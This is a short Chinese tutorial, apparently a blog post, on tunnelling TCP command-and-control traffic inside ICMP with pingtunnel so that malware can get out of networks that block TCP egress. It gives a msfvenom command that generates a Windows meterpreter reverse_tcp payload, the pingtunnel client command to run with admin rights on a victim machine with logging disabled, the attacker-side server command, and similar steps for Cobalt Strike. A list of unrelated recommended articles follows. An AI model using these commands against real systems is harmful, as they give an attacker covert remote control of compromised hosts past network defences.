隧道技术-tcp封装icmp出网

1.背景:

目标出网限制tcp协议

2.msf木马转发上线

生成木马:msfvenom -p windows/meterpreter/reverse_tcp Lhost=127.0.0.1 LPORT=3333 -f exe > msf1.exe

受害机器管理员权限执行:

pingtunnel.exe -type client -l 127.0.0.1:3333 -s 192.168.3.195 -t 192.168.3.195:4444 -tcp 1 -noprint 1 -nolog 1

攻击机器执行:

./pingtunnel -type server

使用msf接受tcp协议木马会话

原理:

木马运行在受害主机使用本地3333端口连接,由tcp协议转换未icmp协议数据出网,由kali接收,并且再次转会tcp协议。

3.cs木马转发上线

cs创建监听器:

使用本地的127.0.0.1:9999tcp协议数据使用icmp封装传递给cs服务端。

cs服务端执行:./ping -type server

受害机器执行:

pingtunnel.exe -type client -l 127.0.0.1:9999-s csip -t csip:7777 -tcp 1 -noprint 1 -nolog 1、

相关推荐
tan180°3 分钟前
Linux网络HTTP(上)(7)
linux·网络·http
无小道34 分钟前
网络层次划分-网络层
网络·计算机网络·智能路由器
asdfg125896337 分钟前
Vlanif的作用
网络·智能路由器
像素之间39 分钟前
http的发展历程
网络·网络协议·http
liubaoyi21740 分钟前
网络层IP协议
网络·tcp/ip·智能路由器
lhxcc_fly41 分钟前
Linux网络--6、网络层
linux·网络·ip
せいしゅん青春之我1 小时前
【JavaEE初阶】1124网络原理
网络·网络协议·java-ee
ONE_SIX_MIX2 小时前
Debian 的 网络管理器 被意外卸载,修复过程
服务器·网络·debian
liulilittle2 小时前
国际带宽增长与用户体验下降的悖论
网络·网络协议·信息与通信·ip·ux·带宽·通信
shaominjin1233 小时前
Android 约束布局(ConstraintLayout)的权重机制:用法与对比解析
android·网络